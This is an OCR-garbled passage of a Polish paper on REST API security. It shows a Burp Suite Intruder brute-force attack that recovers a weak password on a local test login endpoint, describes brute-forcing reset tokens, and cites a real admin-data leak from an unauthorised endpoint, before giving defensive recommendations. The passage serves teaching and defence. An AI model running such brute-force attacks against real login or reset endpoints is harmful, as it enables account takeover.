Przyktadowym problemem, ktéry mozna zaliczy¢
do tej kategorii jest brak odpowiedniej polityki bezpie-
czenstwa haset, Podczas rejestracji akceptowalne sa
krotkie hasta o matej ztozonosci w wyniku czego moz-
liwe jest przeprowadzenie skutecznego ataku silowego.
Listing 7 zawiera tre$¢ zapytania, umozliwiajgcego
uwierzytelnienie uzytkownika.

Listing 7 Tre$¢ zapytania wykorzystywanego do uwierzytelnienie
POST /api/users/login HTTP/1.1
Host: localhost:3010
Accept: application/json, text/plain, */*
Content-Type: application/json

{
"email": "jan@niepodam.pl",
"password"'; "

}

W ciele zadania przekazywany jest adres e-mail
oraz haslo uzytkownika, po odebraniu zadania przez
serwer nastgpuje weryfikacja i podejmowana jest decy-
zja o uwierzytelnieniu. Uwierzytelnienie polega na
zwroceniu JWT, ktory bedzie dotaczany do kolejnych
zadan w celu potwierdzenia tozsamosci.

Do przeprowadzenia ataku sitowego na hasto moz-
na wykorzysta¢ narzedzie Intruder z pakietu Burp Suite.
Rysunek 14 przedstawia odpowiednio przygotowang
tre$¢ zapytania.

@ Payload Positions

Configure the positions where payloads will be inseried into the base request. The a

Altack type: | Sniper

1 POST /api/users/login HTTP/1.1

2 Host: localhost:301e

3 Accept: application/json, ext/plain, */*
4 Content-Type: application/json

5

61

7  "email": "marek@niepodam.pl”,
& ‘"password": "§§"

9}

Rysunek 14 Tre$¢ sparametryzowanego zadania uwierzytelnienia

W miejscu hasta zostang wstawione wartosci zdefi-
niowane w opcjach przedstawionych na Rysunku 15.

Payload Options [Brute forcer]

This payload type generates payloads of specified lengths that contain all permutations

Character set: | abcdefghijklmnopgrstuwsoyz0123456789

Min length: 4

Max length: 4

Rysunek 15 Definicja warto$ci parametrow wstawianych w zadaniu
W wyniku przeprowadzonego ataku sitowego zosta-

lo odgadnigte hasto, ktore umozliwi przejecie konta
uzytkownika i wykonywanie operacji w jego imieniu.
Rysunek 16 prezentuje wynik ataku. Hasto uzytkownika
ma warto$¢ ,,ndaa”.

Results | Target | Positions | Payloads | Options

‘Fuler Showing all items. ‘@
Request | Payload | Status 4 Error | Timeout |Length | Comment I
122 ndaa 200 O O 859 H
0 403 O O a0
1 aaaa 403 o g a0
2 baaa 403 o O a0
a raaz Ana =8 iml 70 L

Request | Response

j Raw T Headers T Hex T Render }

1 HTTP/1.1 200 OK 2

2 X-DNs-Prefetch-Control: off

3 X-Frame-Options: SAMEORIGIN

4 Strict-Transport-Security: max-age=15552000; includeSubDomains

5 X-Download-Options: noopen

6 X-Content-Type-Options: nosniff

7 X-XSS-Protection: 1; mode=block

8 Set-Cookie: auth=eyJhbGciOilIUzIINiIsINRScCI6IkpXVCI9.eyllc2VyIjp7Il
9 Set-Cookie: auth_signature=-2_Fm9HD62XkeQOC8]IHDE4Q5bAXB6gHeQCn-a9G
1@ Content-Type: text/html; charset=utf-8

11 Content-Length: 2

12 ETag: W/"2-n009QiTIwXgNtWtBlezz8kv3sSLc"

13 Date: Thu, 21 May 2020 14:45:20 GMT

14 Connection: close

15

16 OKI '

P -
OB EE) =

146 of 1679616

Rysunek 16 Wynik przeprowadzonego ataku sitowego na hasto

o

0 matches [ Prefty |

Pomocnicze metody takie jak, resetowanie hasta
powinny by¢ rownie dobrze zabezpieczone jak metoda
uwierzytelniajgca. Aplikacja realizuje odzyskiwanie
hasel przez wyslanie token6w na adres e-mail powigza-
ny z kontem. Mozliwy jest scenariusz, w ktorym ataku-
jacy rejestruje sie w systemie, nastgpnie resetuje hasto
i ocenia, ze token resetowania hasta zbudowany jest z 6
cyfr. Staba ztozono$¢ tokenu umozliwia atakujagcemu
przeprowadzenie ataku sitowego na token i odzyskanie
hasta do konta innego uzytkownika.

Podczas projektowania systemu nalezy zdefiniowaé
wymagania dotyczace ztozonosci haset oraz tokenow.
W celu odpowiedniego okreslenia wymagan mozna
poshuzy¢ si¢ wytycznymi przygotowanymi przez Natio-
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nal Institute of Standards and Technology (NIST). We-
dlug zalecen hasto powinno sktada¢ si¢ z minimum 8§
znakow, nie powinno by¢ zbudowane z podciggu nazwy
aplikacji. Hasto przed ustawieniem powinno by¢ wery-
fikowane ze stownikiem najpopularniejszych haset. Nie
powinno stawia¢ si¢ wymagan odno$nie wystgpowania
znakoéw specjalnych, natomiast dobrg praktyka jest
umieszczenie miernika sity hasta [12]. Dodatkowym
zaleceniem poprawiajacym bezpieczenstwo w zakresie
uwierzytelniania jest wprowadzenie podwdjnej weryfi-
kacji.

6.3. Problem z autoryzacjg na poziomie funkeji

Atakujacy w wyniku rekonesansu znalazt punkt
koncowy, ktory powinien by¢ udostepniany tylko admi-
nistratorom, okazato si¢, ze punkt koncowy przy wyko-
rzystaniu metody GET nie implementuje kontroli auto-
ryzacji. Kazdy kto pozna adres zasobu, ktory nie wdraza
autoryzacji moze wysta¢ zadanie dzigki ktoremu otrzy-
ma dane.

Znanym przykladem problemoéw z autoryzacja na
poziomie funkcji jest podatnos¢ znaleziona w aplikacji
wykorzystywanej do przeprowadzania glosowania
w Izraelu [13]. Serwer zwracatl odpowiedz zawierajaca
poufne dane bez koniecznosci autoryzacji uzytkownika
wysylajacego zadanie. Adres zasobu o postaci: ,,/get-
admin-users”, zostal znaleziony w zrodlach strony.
Odpowiedz na zadanie pod znalezionym adresem zwra-
cata dane administratoréw systemu, czes¢ odpowiedzi
zostata zaprezentowana na Rysunku 17.

"oid": 86
"name"
"password"

"email": "",

"campaignName": "m>»% 23 noia"
"maxUsers": 10000

"businessId": ""

"businessName": ""
"expirationDate": "19-01-2024
"main0fficeAddress”: "'

"cost": null
"purchasedSms"
"remainingSms"
"phone": "0S
"creationTime"
"usersCount"
"adminId": ""
"allowExcelUpload"
"active": true
"dataEncrypted"

"npidb marvn"

710000
340788

"2020-01-19"
100

false

false
Rysunek 17 Poufne dane zwrdcone bez wymaganej autoryzacji [13]

Ze wzgledu na uporzadkowanie API budowanego
w architekturze REST odnalezienie punktow dostgpow
jest tatwym zadaniem nawet dla oséb niedoswiadczo-
nych. Przed wdrozeniem aplikacji nalezy upewni¢ sie,
ze wszystkie punkty koncowe zwracajace poufne dane
maja zaimplementowany i wlaczony mechanizm auto-
ryzacji.

7. Wnhnioski

Na etapie projektowania powinny zosta¢ okreslone
wszystkie punkty koncowe wymagajace uwierzytelnie-
nia. Wdrazajac mechanizmy uwierzytelnienia zaleca si¢
korzystanie ze sprawdzonych standardéw, podczas prob
implementacji wlasnych rozwiazan istnieje wysokie
prawdopodobienstwo popetienia btedéw. Punkty kon-

cowe weryfikujace tozsamo$¢ uzytkownika powinny
implementowa¢ mechanizmy zabezpieczajace przed
atakami sitowymi, przyktadem mechanizmu moze by¢
np. captcha. W systemie istnieje zazwyczaj kilka miejsc,
s3 to miedzy innymi: resetowanie hasta, zmiana adresu
e-mail, tak samo wrazliwych jak uwierzytelnianie,
w tych miejscach warto wdrozy¢ podobne standardy.
Jezeli jest to mozliwe warto zaimplementowa¢ mecha-
nizm podwojnego uwierzytelnienia [14].

W celu ograniczenia probleméw wystepujacych
podczas autoryzacji, nalezy zaprojektowaé proces
z uwzglednieniem zlozonej hierarchii uzytkownikow.
Mechanizm autoryzacji powinien by¢ wprowadzony na
poziomie funkcji oraz kazdego obiektu. Dobra praktyka
ograniczajaca mozliwosci wystania niepozadanych
zapytan jest zastosowanie identyfikatorow GUID za-
miast identyfikatorow, ktore pozwalajg na odgadnigcie
kolejnych wartoéci. Domy$lnie przyznawane uprawnie-
nia powinny by¢ mozliwie najmniejsze, uprawnienia
nalezy zwigksza¢ adekwatnie do potrzeb z wyrazng
akceptacja przez uprawnione osoby. Mechanizm auto-
ryzacji powinien by¢ testowany automatycznie, testy
powinny by¢ wykonywane po kazdej ingerencji w dzia-
lanie mechanizmu [14].

Bezpieczna implementacja JWT mozliwa jest wy-
facznie przy pelnym zrozumieniu budowy i sposobow
wykorzystania. Na etapie projektowania nalezy wybraé
odpowiednie algorytmy podpisu, a w przypadku JWE
takze algorytmy szyfrowania. Podczas wdrozenia po-
winno si¢ uzywaé silnych kluczy kryptograficznych.
Bezwzglednie nalezy zabezpieczy¢ system przed akcep-
tacjg algorytmu podpisu ,,none” i zwréci¢ szczegdlng
uwage na poprawnos¢ weryfikacji podpisu. Do wdroze-
nia JWT powinno uzywac si¢ gotowych i sprawdzonych
bibliotek, poniewaz wlasna implementacja jest narazona
na btedy bezpieczenstwa. Przed wykorzystaniem biblio-
teki powinno zapozna¢ si¢ z jej dokumentacja oraz
wdrozy¢ monitorowanie wykrytych podatnos$ci i proce-
dury aktualizacji. Poza ustawianiem krotkiego czasu
waznosci tokendw system powinien umozliwiaé rgczne
ich uniewaznienie [1].

Nalezy zauwazy¢, ze satysfakcjonujacy poziom
bezpieczenstwa mozna osiagnaé¢ tylko przez spetnienie
wszystkich wymogoéw bezpieczenstwa. Zaniedbanie
ktoregokolwiek z nich powoduje powstanie luki, przez
ktora atakujacy moze uzyska¢ dostgp do danych lub
funkcji.
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